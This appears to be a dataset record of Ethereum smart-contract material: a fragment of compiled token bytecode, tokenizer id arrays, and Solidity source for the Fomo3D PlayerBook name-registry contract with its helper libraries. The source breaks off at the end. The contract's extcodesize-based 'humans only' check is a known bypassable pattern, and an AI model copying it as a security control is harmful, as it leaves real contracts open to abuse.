a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e6c91815260200190565b60405180910390a3610c5c565b6001600160a01b038216610ecf5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016104d2565b8060356000828254610ee191906114f0565b90915550506001600160a01b03821660009081526033602052604081208054839290610f0e9084906114f0565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a36107e4565b606580546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff1661102e5760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016104d2565b6107e48282611230565b600054610100900460ff166110a35760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016104d2565b6105e86112c2565b6001600160a01b0382166111275760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360448201527f730000000000000000000000000000000000000000000000000000000000000060648201526084016104d2565b6001600160a01b038216600090815260336020526040902054818110156111b65760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60448201527f636500000000000000000000000000000000000000000000000000000000000060648201526084016104d2565b6001600160a01b03831660009081526033602052604081208383039055603580548492906111e5908490611508565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3610560565b600054610100900460ff1661129b5760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016104d2565b81516112ae906036906020850190611336565b508051610560906037906020840190611336565b600054610100900460ff1661132d5760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b60648201526084016104d2565b6105e833610f59565b8280546113429061151f565b90600052602060002090601f01602090048101928261136457600085556113aa565b82601f1061137d57805160ff19168380011785556113aa565b828001600101855582156113aa579182015b828111156113aa57825182559160200191906001019061138f565b506113b69291506113ba565b5090565b5b808211156113b657600081556001016113bb565b80356001600160a01b038116811461057f57600080fd5b6000602082840312156113f7578081fd5b611400826113cf565b9392505050565b60008060408385031215611419578081fd5b611422836113cf565b9150611430602084016113cf565b90509250929050565b60008060006060848603121561144d578081fd5b611456846113cf565b9250611464602085016113cf565b9150604084013590509250925092565b60008060408385031215611486578182fd5b61148f836113cf565b946020939093013593505050565b6000602080835283518082850152825b818110156114c9578581018301518582016040015282016114ad565b818111156114da5783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156115035761150361155a565b500190565b60008282101561151a5761151a61155a565b500390565b60028104600182168061153357607f821691505b6020821081141561155457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212206663fa50b3ea638d5b6cc4184f457f2ff8b551f4e9bf358082b15c1138084f1764736f6c63430008020033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2475, 2063, 2487, 3207, 4783, 2575, 16932, 22203, 2063, 2475, 29292, 22610, 2497, 16703, 26224, 16068, 2549, 2278, 2692, 2683, 29292, 2683, 4402, 2278, 2475, 2497, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 3229, 1013, 2219, 3085, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 24540, 1013, 21183, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,077
0x962e2c933fd7bb3FCD9aFf882e1af4414ada6335
pragma solidity ^0.4.24; /* * -PlayerBook - v0.3.14 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * ______ _ ______ _ *====(_____ \=| |===============================(____ \===============| |=============* * _____) )| | _____ _ _ _____ ____ ____) ) ___ ___ | | _ * | ____/ | | (____ || | | || ___ | / ___) | __ ( / _ \ / _ \ | |_/ ) * | | | | / ___ || |_| || ____|| | | |__) )| |_| || |_| || _ ( *====|_|=======\_)\_____|=\__ ||_____)|_|======|______/==\___/==\___/=|_|=\_)=========* * (____/ * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ */ interface JIincForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } interface TeamJustInterface { function requiredSignatures() external view returns(uint256); function requiredDevSignatures() external view returns(uint256); function adminCount() external view returns(uint256); function devCount() external view returns(uint256); function adminName(address _who) external view returns(bytes32); function isAdmin(address _who) external view returns(bool); function isDev(address _who) external view returns(bool); } contract PlayerBook { using NameFilter for string; using SafeMath for uint256; JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0x42503c3dcca420adf53dff5bb1fb176b8773aaa0); TeamJustInterface constant private TeamJust = TeamJustInterface(0x0d5c01a161a12901c214d2985ac1f6d7fa4644d6); MSFun.Data private msData; function multiSigDev(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamJust.requiredDevSignatures(), _whatFunction));} function deleteProposal(bytes32 _whatFunction) private {MSFun.deleteProposal(msData, _whatFunction);} function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);} function checkData(bytes32 _whatFunction) onlyDevs() public view returns(bytes32, uint256) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));} function checkSignersByAddress(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(address, address, address) {return(MSFun.checkSigner(msData, _whatFunction, _signerA), MSFun.checkSigner(msData, _whatFunction, _signerB), MSFun.checkSigner(msData, _whatFunction, _signerC));} function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(bytes32, bytes32, bytes32) {return(TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));} //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . //=============================|================================================ uint256 public registrationFee_ = 10 finney; // price to register a name mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games mapping(address => bytes32) public gameNames_; // lookup a games name mapping(address => uint256) public gameIDs_; // lokup a games ID uint256 public gID_; // total number of games uint256 public pID_; // total number of players mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own) mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // premine the dev names (sorry not sorry) // No keys are purchased with this method, it's simply locking our addresses, // PID's and names for referral codes. plyr_[1].addr = 0x82E67868a7769aACAfbd9E9f6B000b3B1A42bbEe; plyr_[1].name = "justo"; plyr_[1].names = 1; pIDxAddr_[0x82E67868a7769aACAfbd9E9f6B000b3B1A42bbEe] = 1; pIDxName_["justo"] = 1; plyrNames_[1]["justo"] = true; plyrNameList_[1][1] = "justo"; plyr_[2].addr = 0xc54bE7233A02FE64E499f7C1958cf46a637A45e0; plyr_[2].name = "mantso"; plyr_[2].names = 1; pIDxAddr_[0xc54bE7233A02FE64E499f7C1958cf46a637A45e0] = 2; pIDxName_["mantso"] = 2; plyrNames_[2]["mantso"] = true; plyrNameList_[2][1] = "mantso"; plyr_[3].addr = 0x569213955FfbC9ad6Ea85A5bda53dac528a0691a; plyr_[3].name = "sumpunk"; plyr_[3].names = 1; pIDxAddr_[0x569213955FfbC9ad6Ea85A5bda53dac528a0691a] = 3; pIDxName_["sumpunk"] = 3; plyrNames_[3]["sumpunk"] = true; plyrNameList_[3][1] = "sumpunk"; plyr_[4].addr = 0x5c937Ee3C10016636389Af02eE7425E42900bC30; plyr_[4].name = "inventor"; plyr_[4].names = 1; pIDxAddr_[0x5c937Ee3C10016636389Af02eE7425E42900bC30] = 4; pIDxName_["inventor"] = 4; plyrNames_[4]["inventor"] = true; plyrNameList_[4][1] = "inventor"; pID_ = 4; } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier onlyDevs() { require(TeamJust.isDev(msg.sender) == true, "msg sender is not a dev"); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev registers a name. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who refered you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { // update last affiliate plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } // register name registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != "" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /** * @dev players, if you registered a profile, before a game was released, or * set the all bool to false when you registered, use this function to push * your profile to a single game. also, if you've updated your name, you * can use this to push your name to games of your choosing. * -functionhash- 0x81c5b206 * @param _gameID game id */ function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, "silly player, that game doesn't exist yet"); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _totalNames = plyr_[_pID].names; // add players profile and most recent name games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); // add list of all names if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } /** * @dev players, use this to push your player profile to all registered games. * -functionhash- 0x0c6940ea */ function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } /** * @dev players use this to change back to one of your old names. tip, you'll * still need to push that info to existing games. * -functionhash- 0xb9291296 * @param _nameString the name you want to use */ function useMyOldName(string _nameString) isHuman() public { // filter name, and get pID bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; // make sure they own the name require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own"); // update their current name plyr_[_pID].name = _name; } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . //=====================_|======================================================= function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { // if names already has been used, require that current msg sender owns the name if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, "sorry that names already taken"); // add name to player profile, registry, and name book plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // registration fee goes directly to community rewards Jekyll_Island_Inc.deposit.value(address(this).balance)(); // push player info to games if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); // fire event emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; // set the new player bool to true return (true); } else { return (false); } } //============================================================================== // _ _|_ _ _ _ _ | _ _ || _ . // (/_>< | (/_| | |(_|| (_(_|||_\ . //============================================================================== function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { // update last affiliate plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != "" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } //============================================================================== // _ _ _|_ _ . // _\(/_ | |_||_) . //=============|================================================================ function addGame(address _gameAddress, string _gameNameStr) onlyDevs() public { require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered"); if (multiSigDev("addGame") == true) {deleteProposal("addGame"); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0); games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0); games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0); } } function setRegistrationFee(uint256 _fee) onlyDevs() public { if (multiSigDev("setRegistrationFee") == true) {deleteProposal("setRegistrationFee"); registrationFee_ = _fee; } } } /** * @title -Name Filter- v0.1.9 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * _ __ _ ____ ____ _ _ _____ ____ ___ *=============| |\ | / /\ | |\/| | |_ =====| |_ | | | | | | | |_ | |_)==============* *=============|_| \| /_/--\ |_| | |_|__=====|_| |_| |_|__ |_| |_|__ |_| \==============* * * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ */ library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } /** @title -MSFun- v0.2.4 * ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐ * │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐ * ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘ * _____ _____ * (, / /) /) /) (, / /) /) * ┌─┐ / _ (/_ // // / _ // _ __ _(/ * ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_ * ┴ ┴ / / .-/ _____ (__ / * (__ / (_/ (, / /)™ * / __ __ __ __ _ __ __ _ _/_ _ _(/ * ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_ * ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018 * ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ * _ _ _ _ _ _ _ _ _ _ _ *=(_) _ _ (_)==========_(_)(_)(_)(_)_==========(_)(_)(_)(_)(_)================================* * (_)(_) (_)(_) (_) (_) (_) _ _ _ _ _ _ * (_) (_)_(_) (_) (_)_ _ _ _ (_) _ _ (_) (_) (_)(_)(_)(_)_ * (_) (_) (_) (_)(_)(_)(_)_ (_)(_)(_)(_) (_) (_) (_) * (_) (_) _ _ _ (_) _ _ (_) (_) (_) (_) (_) _ _ *=(_)=========(_)=(_)(_)==(_)_ _ _ _(_)=(_)(_)==(_)======(_)_ _ _(_)_ (_)========(_)=(_)(_)==* * (_) (_) (_)(_) (_)(_)(_)(_) (_)(_) (_) (_)(_)(_) (_)(_) (_) (_)(_) * * ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐ * ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │ * ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘ * * ┌──────────────────────────────────────────────────────────────────────┐ * │ MSFun, is an importable library that gives your contract the ability │ * │ add multiSig requirement to functions. │ * 